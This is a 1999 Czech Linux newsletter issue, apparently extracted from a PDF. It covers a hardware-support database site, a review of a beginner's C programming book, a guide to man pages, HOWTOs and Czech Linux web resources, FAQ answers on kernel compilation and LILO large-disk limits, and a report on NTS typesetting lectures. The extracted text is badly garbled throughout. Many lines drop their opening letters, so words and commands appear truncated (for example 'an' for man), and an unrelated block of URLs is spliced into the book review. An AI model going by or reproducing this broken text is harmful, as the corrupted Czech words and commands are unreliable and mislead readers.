ardware (1). Hlavnı́m důvodem vzniku tohoto serveru by-

o vytvořit centrálu pro výměnu zkušenostı́ s nastavovánı́m
ejrůznějšı́ho hardwaru a takto snı́žit počet dopisů v konfe-

renci linux. Mnohé dotazy se stále opakovaly, tak proč ne-
dat odpovědi na jedno mı́sto, kde by byly snadno dostup-

é? Prvnı́ verze byla spuštěna na jaře a silně trpěla neukáz-
ěnostı́ některých návštěvnı́ků. Druhá verze zavedla povin-
ost autorizace těch, kteřı́ vkládajı́ nové údaje, zavedla dy-

namickou stromovou strukturu a zatraktivnila vzhled.
Co zde najdete? Za prvé spoustu informacı́, které jsou

leněny do několika desı́tek oddı́lů. Způsob prohlı́ženı́ vzdá-
leně připomı́ná práci s diskem. Prvnı́ stránka je kořenový

ddı́l, který obsahuje osm obecných skupin. Napřı́klad Mo-
nitory, Tiskárny či Karty. Po vybránı́ některé možnosti se
vám zvolený oddı́l otevře a zobrazı́ se jeho obsah. Napřı́-
klad pro oddı́l Karty uvidı́te pododdı́ly Zvukové, Sı́t’ové či
Grafické. Takhle můžete postupovat dále do hloubky, až
skončı́te ve složce, která obsahuje druhy. Napřı́klad oddı́l
ATI obsahuje mimo jiné druh Rage II. A po jeho zvolenı́
6

se objevı́ záznam s informacemi, jak zprovoznit tuto kartu
pod Linuxem.

V současné době je na serveru zaregistrováno asi sto uži-
vatelů. Počet záznamů se blı́žı́ ke sto padesáti. Od nejrůz-

ějšı́ch grafických a sı́t’ových karet, přes SCSI řadiče a ter-
minály až po RAID. Nedávno server zaznamenal jubilejnı́

ěti tisı́cı́ session a padesáti tisı́cı́ zobrazenou stránku. Dou-
fám, že zde najdete informace, které hledáte a pokud jste
zprovoznili nějaký hardware, který v databázi ještě chybı́,
že se podělı́te o tyto zkušenosti s ostatnı́mi.

Na závěr ještě něco málo o budoucnosti. Brzy bude zpro-
ozněna dalšı́ služba – odkazy na nejnovějšı́ články serverů
oot, Linuxworld a Underground. Připravuje se poradna,
am budete moci zaslat svůj dotaz a naši spolupracovnı́ci
ám – zdarma – poradı́. Dalšı́ vývoj záležı́ na vašich přánı́ch.

1 Linux Hardware

http://hardware.penguin.cz

C pro zelenáče?
Zdeněk Havelka, 10. prosince 1999

Název: Programovacı́ jazyk C pro zelenáče
Autor: Petr Šaloun
Vydal: Neokortex (1)
ISBN 80-86330-02-X, doporučená cena
199 Kč.

Jak už stojı́ v podtitulu, jde o knihu pro
„zelenáče“, tedy ty z nás, kteřı́ zatı́m o pro-

gramovacı́ jazyk C ani nezavadili. Rozhodně tedy nemůže-
e čekat, že po jejı́m přečtenı́ budete vytvářet plnohodnot-

né programy a aplikace v tomto jazyce – spı́š byste dı́ky
této knize měli zı́skat dobrý základ pro pozdějšı́ studium

hlubšı́ pochopenı́ tohoto stále aktuálnı́ho a široce použı́-
vaného jazyka (alespoň pokud jde o programovánı́ systé-
mových aplikacı́).

Kinha je rozdělena na čtyři základnı́ části. Prvnı́ velmi
krátká část je věnována základnı́ terminologii, vysvětlenı́
co je programovacı́ jazyk C, kde jsou jeho kořeny, k če-
mu a proč se právě tento jazyk použı́vá. Následuje obli-

átnı́ a nezbytný „Hello, world“, který nemůže chybět snad
v žádné učebnici programovánı́. Už by to opravdu chtělo
změnu. . .

Druhá část pokračuje úvodem do základů jazyka, struk-
tury členěnı́ programu a řı́zenı́ chodu, vytvářenı́ funkcı́

končı́ zpracovánı́m textového vstupu a výstupu a základ-
nı́mi přı́kazy pro preprocesor.

Třetı́ část se věnuje zejména práci s ukazateli a jejich
raktickému využitı́ při práci s řetězci a poli. Následně na-
azuje na práci s I/O popsanou v předchozı́ části, tentokrát
e ale popisuje práce se soubory. Kapitola pokračuje dekla-
acemi složitějšı́ch datových typů (struct, union), bitovými
oli a končı́ popisem dynamické alokace paměti, seznamem

a polem ukazatelů.
Poslednı́ část knihy je věnována přı́lohám – najdete zde

ákladnı́ informace o dostupném GNU software (gcc a jeho
OS port DJGPP, RHIDE). Tady by možná bylo lépe orien-

tovat uživatele spı́še na unixové prostředı́ a editor Emacs,
ale to je přı́liš subjektivnı́ a záležı́ na tom, zda už má uži-
vatel nějaké předchozı́ zkušenosti např. s vývojovými pro-
středı́mi pro Turbo Pascal apod.

Krom toho ještě můžete na adrese (2) nalézt zdrojové

http://www.pointman.org/PMFirewall/
http://www.jrobst.freeserve.co.uk/helpdesk.html
http://www.exploits.org/nut/
http://www.apcc.com/products/management/pcp_linux.cfm
http://www.samba.org/
http://zeus.fh-brandenburg.de/~schwanz/komba.html
http://www.wadsack-allen.com/digitalgroup/reportmagic/index.asp
http://www.qcc.sk.ca/~charlesc/software/memtester/
http://www.listar.org/
http://hardware.penguin.cz
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exty v knize uvedených programů, soupis chyb a dalšı́ uži-
tečné odkazy.

Rozčleněnı́ na kapitoly je vcelku logické a vhodně zvole-
é. Všechny kapitoly obsahujı́ podrobně okomentované vý-
isy zdrojových textů pro demonstraci popisovaných vlast-

nostı́ jazyka. Kde je to jen trochu možné, uvádı́ autor ty-
ické konstrukce a způsoby použitı́, upozorňuje na nejčas-

tějšı́ chyby a pochopitelně neopominul ani základnı́ rady,
jejichž pomocı́ by zdrojové texty měly být čitelnějšı́ a pře-

hlednějšı́. Na některých mı́stech (ale je jich poskrovnu) je
uživatel odkázán na pozdějšı́ výklad, ale tomu se vyhnout

edá a narazı́te na to snad ve všech učebnicı́ch programo-
vánı́.

Po stránce úpravy lze ocenit, že autor se pokusil zvýraz-
nit pomocı́ grafických symbolů některá mı́sta v textu.

Na druhou stranu, jsou zde časté nedostatky v typo-
grafii, které působı́ dosti rušivě. Jako přı́klad bych mohl
uvést hned prvnı́ obrázek na straně 19, vytištěný zrcadlo-
vě, podivné fonty použité pro některé matematické sym-
boly (&,–,/) v celém textu (odlišný typ pı́sma, tloušt’ka či
velikost), na straně 87 odkaz na špatné čı́slo stránky ne-
bo na straně 90 zcela chybějı́cı́ čı́slo stránky – mı́sto něj je
zde pouze dvojice otaznı́ků. Rovněž použitý papı́r a vazba

oněkud snižujı́ užitnou hodnotu, zvláště pokud se do tajů
jazyka C nořı́te v autobusu či tramvaji.

Vzhledem ke svému obsahu vám ale kniha pravděpodob-
ě posloužı́ jen pro prvnı́ rychlý úvod do jazyka C a pokud
ás neodradı́, napřı́ště už stejně budete potřebovat podrob-
ějšı́ a detailnějšı́ manuál nebo referenčnı́ přı́ručku jazyka.

Pokud mám mluvit za sebe, žádné aplikace v jazyce C
evytvářı́m a stále mám za to, že pro zpracovánı́ vstupnı́ch
at a základnı́ aplikace pro komunikaci s DB či jednoduššı́
GI aplikace bez nároků na rychlost a co nejmenšı́ zatı́že-
ı́ OS upotřebı́m spı́še nějaký jazyk vyššı́ úrovně, např. Py-

thon (o objektovém přı́stupu a zı́skánı́ správných návyků
nemluvě).

Jazyk C mne zajı́má spı́še z pohledu kompilace a přı́pad-
ých úprav GNU software na linuxové platformě, ale kniha

e zaměřená velmi obecně a tudı́ž se konkrétnı́mu prostředı́
áměrně vyhýbá (vždyt’ také jednou z nejvyzdvihovanějšı́ch

vlastnostı́ jazyka C je právě přenositenost zdrojového kó-
u na jiné platformy). Např. GNU make bychom v rejstřı́ku

skutečně marně hledali.
Pokud jste tedy skutečnými zelenáči a jazyk C Vás do-

posud mı́jel, můžete směle začı́t právě s touto knihou, ale
očı́tejte s tı́m, že nějakou dalšı́ dokumentaci stejně budete

potřebovat.
Knihu zapůjčilo nakladatelstvı́ Neokortex.

1 Neokortex

http://www.neo.cz/
2 C pro Zelenáče

http://www.cs.vsb.cz/saloun/publik/c4zelenace

Kde hledat informačnı́ zdroje
Zdeněk Pytela, 10. prosince 1999

Uživatelé se často obracı́ na ostatnı́ o radu, aniž by se po-
usili vyřešit problém sami, což je pro ně samotné většinou

mnohem užitečnějšı́. Mnohdy netušı́, že majı́ zdroje infor-
acı́ přı́mo na dosah ruky, na pevném disku svého počı́ta-

ˇe nebo serveru a u počı́tačů připojených do Internetu přı́-
stupné ve svém oblı́beném prohlı́žeči. Teprve po prozkou-
mánı́ těchto možnostı́ by se měl tazatel obracet do odpo-
vı́dajı́cı́ elektronické konference.

Mezi nejužitečnějšı́ zdroje ovšem patřı́ tištěná literatu-
ra, v každém přı́padě se vyplatı́ do nı́ investovat (elektro-
nická podoba mnoha návodů nestačı́ napřı́klad v přı́padě,

dy se do počı́tače vůbec nemůžete dostat, a špatně se čte
i ve vlaku). Z těch, které vyšly o Linuxu v poslednı́ době,
jmenujme aspoň tyto:

• Michal Brandejs: UNIX – Linux, praktický průvodce.
Grada, Praha 1996

• LINUX – dokumentačnı́ projekt. Computer Press, Brno
1998 dostupná i ve formátu PDF na adrese (1)

• LINUX – praktický průvodce. Computer Press, Brno
1999

• Pavel Satrapa a Jiřı́ Randus: LINUX – Internet server.
Neokortex 1996

• Ladislav Lhotka: Server v Internetu. KOPP 1996 viz též
(2)

Anglicky vycházı́ časopis Linux Journal, předplatné (asi
500 Kč ročně) se dá objednat u ApS Brno nebo IPEX Čes-
é Budějovice. Česky Linuxové noviny :-)

inuxové zdroje na dosah ruky

. man

pořádných operačnı́ch systémech je zvykem, že se pro-
gramy distribuujı́ s kompletnı́ dokumentacı́. Standardem
jsou manuálové stránky. V těchto stránkách jsou popsány
všechny přı́kazy a dalšı́ důležité informace. Některé strán-

y jsou přeloženy, a v českém prostředı́ se vám zobrazı́ tedy
česky. Jsou rozděleny do 9 sekcı́:

1. Uživatelské přı́kazy
2. Systémová volánı́
3. Knihovnı́ funkce
4. Zařı́zenı́ a ovladače zařı́zenı́
5. Formáty konfiguračnı́ch souborů
6. Hry
7. Různé
8. Nástroje pro správu systému
9. Internı́ volánı́ specifická pro Linux
Obsah manuálových stránek si můžete přečı́st přı́kazem
an; protože samotný man nenı́ výjimkou, můžete začı́t přı́-
azem man man. Ve které manuálové stránce hledat vám
apovı́ přı́kazy apropos (hledá se část slova) nebo wha-
is (hledá se přesný výskyt slova – pozor na ohýbánı́ čes-
ých slov). Odkazy na manuálové stránky se pak obvykle
ı́šı́ ve tvaru ls(1). což znamená, že dalšı́ informace zı́s-
áte v elektronickém manuálu na stránce programu ls v 1.
ekci. Pokud se vı́c manuálových stránek, např. pro pro-
ram a systémové volánı́, jmenuje stejně, přı́kaz man vyvo-

á pouze prvnı́ z nich; dalšı́ je třeba vyvolat s uvedenı́m čı́sla
ekce nebo použı́t přepı́nač -a: man 5 shadow, man -a
hadow.

. info

ovějšı́ programy použı́vajı́ systém info. Tento systém je
něco propracovanějšı́ a umožňuje hypertextové sledová-
7

http://www.neo.cz/
http://www.cs.vsb.cz/saloun/publik/c4zelenace
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nı́ témat, zato má složitějšı́ ovládánı́, které se ale přı́ručka
k systému info pokoušı́ naučit. Viz info info.

3. přepı́nače

Většina programů uvede stručnou nápovědu nebo seznam
svých přepı́načů, pokud dostane některý z následujı́cı́ch
přepı́načů: -?, -h, --help. Podrobný popis, co který pře-
pı́nač znamená, podá manuálová nebo info stránka.

4. /usr/doc

šechny balı́ky majı́ dokumentaci k programům v adresáři
/usr/doc nebo /usr/share/doc – podı́vejte se na ob-
sah adresáře /usr/share/doc/BALIK (Debian, distri-

uce podle FHS 2.0) nebo /usr/doc/BALIK-VERZE (Red-
at) Dokumentace je často rozsáhlejšı́ než popis k progra-
ům v manuálové stránce, výjimkou nebývajı́ přı́klady po-

užitı́.

5. HOWTO

Soubor nejužitečnějšı́ch návodů a postupů v konkrét-
nı́ problematice. /usr/doc/HOWTO (/usr/share/doc/
OWTO), aktuálnı́ verzi najdete na každém zrcadle ftp serve-

ru metalab.sunsite.edu (např. ftp.linux.cz, sun-
site.mff.cuni.cz) v adresáři /pub/docs/HOWTO. Po-
zornost věnujte i podadresářům mini a unmaintained.

6. Informace o balı́ku v balı́čkovaných distribucı́ch

edhat podává základnı́ informaci o nainstalovaném balı́ku
řı́kazem rpm -qi BALÍK. Debian podává základnı́ infor-

maci o nainstalovaném balı́ku přı́kazem dpkg -p BALÍK.

7. Věci kolem jádra

Zdrojové texty jádra jsou umı́stěny v adresáři
usr/src/linux. Dokumentaci najdete jednak v adresá-
i Documentation a jeho podadresářı́ch, jednak v těsném

sousedstvı́ ovladačů v adresáři drivers.

Linuxové zdroje na Internetu v České republice

1. Linux CZ (3). Základnı́ informace o Linuxu, distribuce,
odkaz na softwarové archivy, rozcestnı́k k linuxovým služ-
bám, sdruženı́ CZLUG, přednášky ze specializovanýh li-
nuxových seminářů. Linuxové noviny (4). Mailing list (5).
Kompletnı́ archiv konference linux@linux.cz od doby jejı́-
ho vzniku s fulltextovým vyhledávánı́m. Určen pro hledánı́
pomoci s konkrétnı́m problémem.

2. Penguin (6). Server pro podporu Linuxu. Zkušenosti,
dkazy, zprávy, návody. Czech-HOWTO (7). Jak na češtinu

v systému i v aplikacı́ch. Fulltextové prohledávánı́ serveru
Penguin (8).

3. Docs.linux.cz (9). Server dřı́ve známý jako Školičky –
sebraná dokumentace, návody, manuály v češtině i v ang-
ličtině. Úvody téměř do všech počı́tačových disciplı́n. Full-
textové vyhledávánı́.

4. SunSite (10). Největšı́ FTP server v České republice,
největšı́ archı́v linuxového softwaru včetně staršı́ch verzı́.

5. Linux Source Driver (11) Navigátor v moři zdrojo-
ých kódů jádra Kompletnı́ zdrojové kódy všech aktuálnı́ch
8

mnoha staršı́ch verzı́ jádra, porovnávánı́, vyhledávánı́, in-
dex klı́čových slov.

6. Linux Hardware (12). Které komponenty jsou Linu-
em podporované, které jsou vhodné a které jsou v Linuxu

nepoužitelné. Uživatelské zkušenosti. Viz jiný článek v ak-
tuálnı́m čı́sle Linuxových novin.

7. Debian (13). Vše o distribuci Debian GNU/Linux.
8. Přı́buzné servery: Root (14), Underground (15), Junyks

16). Krátké zprávy ze světa operačnı́ch systémů typu unix
a otevřených systémů

LinuxWorld (17). Krátké zprávy ze světa Linuxu
Nadace pro podporu free softwaru (18). Server České

adace pro podporu free softwaru.
GNU CZ (19) Česká domácı́ stránka projektu GNU, který

e snažı́ vytvářet volně šiřitelný software na profesionálnı́
´rovni.

FreeBSD (20). FreeBSD je rozšı́řenı́ operačnı́ho systému
SD UNIX pro počı́tače PC.
9. Vyhledávače: Parker (21). prohledává české FTP ser-

ery – kde máte hledat nějaký balı́ček.
ALLA (22). Velmi dobře graficky a funkčně zpracovaný

yhledávač. Pravděpodobně úzce zaměřená databáze (ně-
dy vrátı́ tisı́ce odkazů, jindy nic).

Alenka (23). Rozcestnı́k k českým i zahraničnı́m vyhle-
ávacı́m službám.

RPM2Html (24). Vyhledávánı́ v rpm balı́čcı́ch, které po-
žı́vajı́ distribuce RedHat, Caldera, SuSE a dalšı́ (podle ka-
egorie, podle jména apod.; vyhledávánı́ ve standardnı́ dis-
ribuci, v poddistribucı́ch PowerTools, Contrib apod).

inuxové zdroje ve světě

. Freshmeat (25). Na serveru Freshmeat je denně ohlašo-
áno několik nových nebo vylepšených verzı́ programů pro
inux. Vyhledávánı́ je samozřejmostı́. Pravidelně o vybra-
ých novinkách na Freshmeatu informujı́ Linuxové noviny
v roce 1999 čı́sla 01-02, 03-04, 09). Můžete zkusit i zrcadlo
Německu (26). Freshmeat funguje i jako distributor rpm
alı́čků.

2. LinuxApps (27). Totéž v bleděmodrém.
3. LinuxBerg (28), český mirror (29), LinuxToday (30),

lashdot (31). Zpravodajské servery – krátké zprávy ze svě-
a Linuxu, informace o nových a aktualizovaných progra-
ech.
4. Servery linuxových distribucı́ RedHat (32) Debian (33)

lackware (34) SuSE (35) Caldera (36) Linux Router (37)
5. LinuxLinks (38). Rozcestnı́k pro linuxové informačnı́

ervery
6. Vyhledávacı́ služby – přı́klady:
TuX Finder (39). Vyhledávánı́ softwaru pro Linux – archı́-

y .tar, balı́čky deb i rpm. – nenı́ přı́liš chytrý ani designově
ovedený.

RPM Find (40). Vyhledávánı́ v rpm balı́čcı́ch (viz
pm2html na Penguinovi).

FTPSearch (41). Vyhledávač s rozsáhlou databázı́.
Altavista (42). Univerzálnı́ vyhledávač se sofistikovaným

adávánı́m.

1 LDP

http://www.cpress.cz/knihy/linux/
2 Knihy na serveru Penguin

http://www.penguin.cz/knihy/
3 Linux CZ

http://www.linux.cz/

http://www.cpress.cz/knihy/linux/
http://www.penguin.cz/knihy/
http://www.linux.cz/
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4 Linuxové noviny

http://www.linux.cz/noviny/
5 Mailing-list

http://www.linux.cz/mailing-list/
6 Penguin

http://www.penguin.cz/
7 Czech-HOWTO

http://www.penguin.cz/czech-howto/
8 Fultextové hledánı́ na serveru Penguin

http://www.penguin.cz/webglimpse/
9 Docs.linux.cz

http://docs.linux.cz/
10 SunSite.mff.cuni.cz

http://sunsite.mff.cuni.cz/
11 Linux Source Driver

http://lsd.linux.cz/
12 Linux Hardware

http://hardware.penguin.cz/
13 Debian CZ/SK

http://www.debian.cz/
14 Root

www.root.cz
15 Underground

http://www.underground.cz
16 Junyks

http://www.junyks.cz
17 Linuxworld

http://www.linuxworld.cz
18 Nadace pro podporu free softwaru

http://www.freesoft.cz
19 GNU CZ

http://www.gnu.cz/
20 FreeBSD

http://www.freebsd.cz/
21 Parker

http://parker.vslib.cz/
22 ALLA

http://alla.ms.mff.cuni.cz/
23 Alenka

http://www.alenka.cz/
24 RPM2Html

http://www.penguin.cz/rpm2html/
25 Freshmeat

http://www.freshmeat.net/
26 Freshmeat v Německu

http://de.eu.mirrors.freshmeat.net/
27 LinuxApps

http://www.linuxapps.com/
28 LinuxBerg

http://www.linuxberg.com/

29 Český mirror LinuxBergu

http://www.linuxberg.cz/
30 LinuxToday

http://linuxtoday.com/
31 Slashdot

http://www.slashdot.org/
32 RedHat

http://www.redhat.com
33 Debian

http://www.debian.org
34 Slackware

http://www.slackware.com
35 SuSE

http://www.suse.com
36 Caldera

http://www.calderasystems.com
37 Linux Router

http://www.linuxrouter.org
38 LinuxLinks

http://www.linuxlinks.com/
39 Tux Finder

http://www.tuxfinder.com/
40 RPM Find

http://rpmfind.net
41 FTPSearch

http://ftpsearch.lycos.com/
42 Altavista

http://www.altavista.com/

Často kladené dotazy
Zdeněk Pytela, 13. prosince 1999

odborných konferencı́ch se po jistém čase začnou opako-
at ty stejné dotazy. Málokoho z těch, kteřı́ odpověd’ zna-
ı́, bavı́ psát odpovědi pořád dokola, a vyhledávánı́ v archı́-
u nenı́ univerzálnı́ řešenı́. Protože je to přı́pad i konference
inux@linux.cz, vznikajı́ pro ni v tuto chvı́li odpovědi na
asto kladené dotazy (můžete se setkat i s anglickou zkrat-

kou FAQ). Definitivnı́ podoba bude oznámena v samotné
konferenci, zde jsou některé z nich.

Nemůžu přeložit jádro!

Typická hláška při nezdařeném překladu jádra po zadánı́
přı́kazu make zImage vypadá asi takto:

make[1] as86: Command not found
make[1] ***[bootsect.0] Error 127
make[1] Leaving directory ...

Odpověd’ je jednoduchá: nenı́ nainstalován některý balı́k,
terý je pro překlad potřeba. Obecně pro překlad programů
otřebujeme: zdrojové kódy, překladač, hlavičkové soubory

a knihovny.

• Zdrojový kód jádra je umı́stěn v adresáři
/usr/src/linux; v distribuci RedHat se nachá-
zı́ v balı́ku kernel-source

• Překladač: gcc je v balı́ku egcs, u staršı́ch verzı́ v ba-
lı́ku gcc

• Překladače assembleru: as (balı́k binutils), as86
(bin86)

• Program pro koordinaci závislostı́: make (make)

• Hlavičkové soubory a knihovny: glibc-devel,
kernel-headers

• Pro konfiguraci pomocı́ menuconfig: ncurses,
ncurses-devel

• Pro konfiguraci pomocı́ xconfig: správně nainstalova-
né X

• Pro patchovánı́ nových verzı́: patch

Na co ještě můžete narazit:

• kernel too big. Přeložte jádro jako big (bzImage)
nebo oddělte část ovladačů, které nejsou potřeba při
startu systému, do modulů.
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• System.map je soubor se jmény a adresami všech sym-
bolů použitých v jádře. Po přeloženı́ a nainstalovánı́
každého nového jádra je vhodné tento soubor překo-
pı́rovat z adresáře /usr/src/linux na mı́sto, kde ho
najdou programy, které ho budou potřebovat, nejlépe
/boot/System.map-VERZEJÁDRA. Vı́ce v manuálové
stránce přı́slušného programu, např. ps(1).

Nezapomeňte: po každé změně jádra je třeba upravit
/etc/lilo.conf a spustit program lilo.

Linux a velký disk

Na většině počı́tačů je zavaděčem systému program lilo
(LInux LOader). Tento zavaděč využı́vá pouze informacı́
z BIOSu počı́tače, a pro omezenı́ daná kdysi dávno nelze

řistupovat k částem disku umı́stěným za 1024. cylindrem.
To je přı́pad všech disků většı́ch než 8 GB i v přı́padě za-
pnuté volby LBA.

Možná řešenı́:

• Zajistit, aby celý kořenový svazek nebo přinejmenšı́m
adresář /boot, kde je umı́stěno jádro a dalšı́ soubo-
ry nutné ke startu systému, byl v části disku do 1024.
cylindru. Napřı́klad samostatný svazek /boot (stačı́ ve-
likost v jednotkách megabajtů), zbytek systému umı́s-
tit do jiné oblasti, která už hranici 1024 cylindrů mů-
že překročit. Disk můžete rozdělit jakkoliv jinak podle
svých potřeb (nejrozsáhlejšı́ je obvykle adresář /usr,
přı́padně ještě /var).

• Mı́sto lilo použı́t grub, který toto omezenı́ nemá.

• Bootovat z dosu pomocı́ programu loadlin.

• Zavádět linux z diskety (nouzové řešenı́).

Z historie

Tabulka rozdělenı́ disku může mı́t dvě podoby:

• čı́slo cylindru, hlavy, sektoru (zkratka CHS) z historic-
kých důvodů je v BIOSu omezenı́: 10 bitů na čı́slo cylin-
dru, 8 bitů na čislo hlavy, 6 bitů na počet sektorů; Při
velikosti sektoru 512 B lze adresovat disk maximálně
do velikosti 2ˆ10 * 2ˆ8 * 2ˆ6 * 512 B = 2ˆ33 B = 8 GB
(1024 * 256 * 64 * 512 B = 8589934592 B)

• absolutnı́ počet sektorů od začátku. Toto čı́slo má ve-
likost 4 byty, lze proto adresovat 2ˆ40 B (2 TB).

BIOS ovšem k disku přistupuje prvnı́ metodou, a proto
zavaděče, které se na BIOS spoléhajı́, na vzdálenějšı́ části
nemohou při zaváděnı́ systému dosáhnout.

Doporučená literatura:

• LILO mini HOWTO

• Linux+NTLoader mini HOWTO

• Loadlin+Win95 mini HOWTO

• manuálové stránky: lilo, lilo.conf, bootparam, initrd

Odkazy na dalšı́ zavaděče:
1. grub (1)
2. gag: grafický, intuitivně ovládaný zavaděč (2)
3. mbtmgr (3)
10
Terminál pro Windows

Linuxu se dá celkem pohodlně pracovat i z nepřátelských
prostředı́, jakými jsou operačnı́ systémy Microsoftu, stačı́

ı́t nainstalován dobrý terminál. Můžete si vybrat z násle-
dujı́cı́ nabı́dky:

1. teraterm (4). Umožňuje spojenı́ přes telnet i ssh.
e dobře počeštěný (5), celá klávesnice funguje. Pouze pro

Win32 (95, 98, NT).
2. putty (6). Umožňuje spojenı́ přes telnet i ssh. Dobré

obrazenı́, snadno se konfiguruje. Pouze pro Win32 (95, 98,
NT).

3. Console Telnet (7). Umožňuje spojenı́ pouze přes tel-
net, obsahuje vzorový INI soubor pro Linux. Lze jej pře-
pnout na fullscreen.

4. dtelnet (8). Umožňuje spojenı́ pouze přes telnet.
Stačı́ nastavit fonty a jede; jen neumı́ převod ISO 8859-2
na CP 1250. Binárka má pouze 70 KB.

Program se nechce spustit

Problém: nejde mi spustit program z aktuálnı́ho adresá-
re, i když má nastaven atribut pro spouštěnı́ (chmod +x
soubor).

Z bezpečnostnı́ch důvodů nenı́ standardně aktuálnı́ ad-
esář přı́tomen v cestě (proměnná $PATH). Programy, kte-

ré chcete spouštět častěji, překopı́rujte do adresáře, který
už v cestě máte, např. /usr/local/bin nebo ~/bin. Ji-

ak spouštějte programy s úplnou absolutnı́ nebo relativnı́
cestou ./program. Přidávat aktuálnı́ adresář do cesty se
nedoporučuje.

1 Grub

http://www.uruk.org/grub/
2 Gag

http://raster.cibermillennium.com/SOFTWARE/GAG/gageng.htm
3 mbtmgr

http://www.tdp.cz/martin/mbtmgr/
4 teraterm

ftp://ftp.penguin.cz/pub/win32/
5 teraterm II

http://www.fi.muni.cz/~xsmerk/
6 putty

http://www.chiark.greenend.org.uk/~sgtatham/putty.html
7 Console Telnet

http://www.clnet.cz/pub/OS/Windows95/Net/ConsoleTelnet/
8 dtelnet

http://www.dccs.com.au/~dave/dtelnet.html

NTS a interaktivnı́ dokumenty na Fakultě
informatiky

David Antoš, 14. prosince 1999

V sobotu 11. prosince 1999 pořádalo Československé sdru-
ženı́ uživatelů TEXu CSTUG a Fakulta informatiky Masa-
ykovy univerzity v Brně v prostorách fakulty přednášky

systému NTS . NTS (New Typesetting System) je při-
ravovaný následnı́k TEXu.

Přednášejı́cı́mi byli Hans Hagen, vedoucı́ a koordinátor
rojektuNTS a Karel Skoupý, programátor, který se v sou-

ˇasné době práci na NTS plně věnuje.
V prvnı́m bloku sobotnı́ho dopoledne informoval Karel

koupý o postupech, stavu a problémech implementace

http://www.uruk.org/grub/
http://raster.cibermillennium.com/SOFTWARE/GAG/gageng.htm
http://www.tdp.cz/martin/mbtmgr/
ftp://ftp.penguin.cz/pub/win32/
http://www.fi.muni.cz/~xsmerk/
http://www.chiark.greenend.org.uk/~sgtatham/putty.html
http://www.clnet.cz/pub/OS/Windows95/Net/ConsoleTelnet/
http://www.dccs.com.au/~dave/dtelnet.html
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NTS . Idea vznikla před třemi lety a s vlastnı́ implemen-
tacı́ se začalo před rokem. Nenı́ bez zajı́mavosti, že Ka-
el Skoupý je jediným programátorem projektu. Prvnı́ fázı́,
terou autoři zamýšlejı́ dokončit do poloviny roku 2000, je
ystém plně kompatibilnı́ s TEXem.

Pro implementaci byl zvolen jazyk Java. Patřı́ totiž me-
zi nejlépe přenositelné programovacı́ jazyky vůbec a navı́c
se realizačnı́mu týmu zalı́bil javovský systém balı́čků ob-
ektů. TEX je program vı́ce než dvacet let starý a ačkoli byl

vytvářen podle nejlepšı́ch postupů své doby, je to rozsáhlý
monolit strukturovaného kódu.

TEX byl tedy „rozebrán“ na části a ty jsou postupně pře-
isovány v Javě přı́sně objektově. Za hlavnı́ problém ozna-

ˇil Karel Skoupý existenci velkého množstvı́ závislostı́ me-
i jednotlivými částmi TEXu, které jsou přirozeným důsled-

kem jeho architektury, zato se však nesmı́rně obtı́žně mo-
elujı́ pomocı́ objektů. Ačkoli TEX patřı́ mezi nejlépe doku-
entované programy, TEXbook popisuje jeho činnost pou-

e ve standardnı́ch situacı́ch. Pro dosaženı́ úplné kompati-
ility je třeba provádět mnoho pokusů, které odhalujı́ jeho

chovánı́ v neobvyklých podmı́nkách.
NTS v současné době zvládá expanzi maker, odstavcový

zlom a výstup, což dostačuje k tomu, aby nám byla jeho
unkce demonstrována. Karel Skoupý pomocı́NTS zalomil

tři odstavečky textu, pak totéž provedl TEXem a výsledky
porovnal. Nejen že byly stejné napohled, ale výsledné dvi
soubory se shodovaly do poslednı́ho bitu.

Určitě čtenáře napadá otázka, zda takové úsilı́ stojı́ za to,
by vznikl „TEX II“, jenže objektový, v Javě a, jak jsme vidě-

i, také mnohokrát pomalejšı́. Odpověd’ poskytla přednáška
Hanse Hagena pod názvem

What things do we want NTS to do?

NTS nenı́ prvnı́m následnı́kem TEXu. Jmenujme třeba
eTEX, nebo známějšı́ pdfTEX. Všechny dosavadnı́ deriváty

EXu stojı́ na původnı́m Knuthově kódu, ve kterém je část
přepsána či upravena. To nenı́ jednoduché, zdrojový kód

bsahuje mnoho velmi účinných optimalizacı́, které ovšem
vedou k naprosté nepřehlednosti. Počet lidı́ na světě, kte-
rı́ se v tex.web skutečně vyznajı́, se odhaduje na několik
desı́tek.

Cı́lem zvolené architektury NTS je maximálnı́ modula-
ita. Tı́m se autoři projektu snažı́ dát prostor programáto-

rům, kteřı́ by chtěli přepracovat a vylepšit část systému.
očı́tá se s tı́m, že se objevı́ nové výstupnı́ formáty, jako se

to třeba nedávno stalo s PDF, takže by mělo být umožně-
no zpracovávat jiné vstupy, než ty, na které jsou TEXisté
zvyklı́, napřı́klad SGML. Ačkoli určitě nenı́ pochyb o tom,
že kupřı́kladu řádkový zlom TEXu patřı́ k nejlepšı́m, mu-
sı́me si také přiznat, že i TEX má své slabiny. Sazba na
ejstřı́k, vı́cesloupcová sazba se zarovnánı́m nebo třeba ob-

tékánı́ obrázků jsou sice úkoly řešitelné, ale nepřı́liš poho-
dlně, přesněji řečeno velmi obtı́žně.

Tyto problémy by postupně měly řešit dalšı́ verze NTS ,
aké iniciativě programátorů mimo zatı́m poněkud uzavře-
ý tým se meze nekladou. Kód bude volně dostupný aNTS
ude šı́řen podobně jako TEX. Předpokládá se, že jeho jed-
otlivé moduly budou moci být využity i samostatně, napřı́-
lad váš WWW browser si přečte zdrojový kód dokumentu
řeba v LATEXu a zobrazı́ jej pomocı́NTS jako typograficky

krásné dı́lo.
Mezi dalšı́ kroky patřı́ integrace NTS a METAFONTu.

ycházı́ se z toho, že T X dnes vůbec nebere v úvahu tvary
E
naků, které sázı́. Prostě jen skládá boxy a „nevı́“, jestli znak
třeba box nepřesahuje. Autoři rovněž uvažujı́ o vytvořenı́
interaktivnı́ho prostředı́, ve kterém by bylo možno (slovy

anse Hagena) „sedět s rukama na řı́dı́cı́ch pákách“, měnit
parametry zlomu a sledovat, co se s dokumentem děje.
NTS je velmi zajı́mavý projekt zaměřený do blı́zké

i vzdálenějšı́ budoucnosti. Nám tedy nezbývá, než celému
týmu popřát mnoho úspěchů.

Tvorba interaktivnı́ch dokumentů

Hans Hagen vedl na půdě Fakulty informatiky v pozdnı́m
dpoledni 13. 12. 1999 opět pod záštitou CSTUGu a Fakulty

informatiky čtyřhodinový tutoriál s názvem Advanced In-
eractive Documents. Jak již pravila pozvánka, TEX je jeden

z mála programů schopných vytvářet sofistikované doku-
enty v PDF. Chtělo by se dodat, že zvláště tehdy, když se

EX a PDF spojı́ s Hansem Hagenem, což dokazovaly jeho
lehce avantgardně navržené a zpracované prezentace.

